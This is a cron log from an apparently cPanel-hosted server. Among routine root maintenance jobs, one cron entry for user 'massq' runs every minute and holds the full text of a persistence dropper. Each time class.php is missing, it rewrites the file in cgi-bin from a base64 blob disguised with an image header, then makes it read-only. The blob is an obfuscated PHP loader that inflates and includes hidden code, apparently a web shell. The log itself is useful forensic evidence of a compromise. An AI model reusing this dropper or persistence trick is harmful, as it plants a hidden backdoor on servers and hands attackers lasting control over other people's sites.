Sep 11 15:20:01 server CROND[20034]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 15:20:01 server CROND[20088]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 15:20:01 server CROND[20092]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 15:20:01 server CROND[20033]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 15:20:01 server CROND[20090]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 11 15:21:01 server CROND[20991]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 15:21:01 server CROND[20992]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 15:21:01 server CROND[20993]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 15:22:01 server CROND[21389]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 15:22:01 server CROND[21390]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 15:22:01 server CROND[21388]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 15:23:01 server CROND[21768]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 15:23:01 server CROND[21769]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 15:23:01 server CROND[21770]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 15:24:01 server CROND[22230]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 15:24:01 server CROND[22231]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 15:24:01 server CROND[22232]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 15:25:01 server CROND[22609]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 15:25:01 server CROND[22611]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 15:25:01 server CROND[22612]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 15:25:01 server CROND[22613]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 15:25:01 server CROND[22616]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 15:25:01 server CROND[22614]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 15:25:01 server CROND[22615]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 15:26:01 server CROND[23708]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 15:26:01 server CROND[23709]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 15:26:01 server CROND[23710]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 15:27:01 server CROND[24080]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 15:27:01 server CROND[24081]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 15:27:01 server CROND[24082]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 11 15:27:01 server CROND[24083]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 15:28:01 server CROND[24460]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 15:28:01 server CROND[24462]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 15:28:01 server CROND[24463]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 15:29:01 server CROND[24929]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 15:29:01 server CROND[24928]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 15:29:01 server CROND[24930]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 15:30:01 server CROND[25316]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 15:30:01 server CROND[25317]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 15:30:01 server CROND[25321]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 15:30:01 server CROND[25323]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 15:30:01 server CROND[25326]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 15:30:01 server CROND[25324]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 15:30:01 server CROND[25328]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 15:30:01 server CROND[25325]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 15:31:01 server CROND[26145]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 15:31:01 server CROND[26146]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 15:31:01 server CROND[26147]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 15:32:01 server CROND[26519]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 15:32:01 server CROND[26520]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
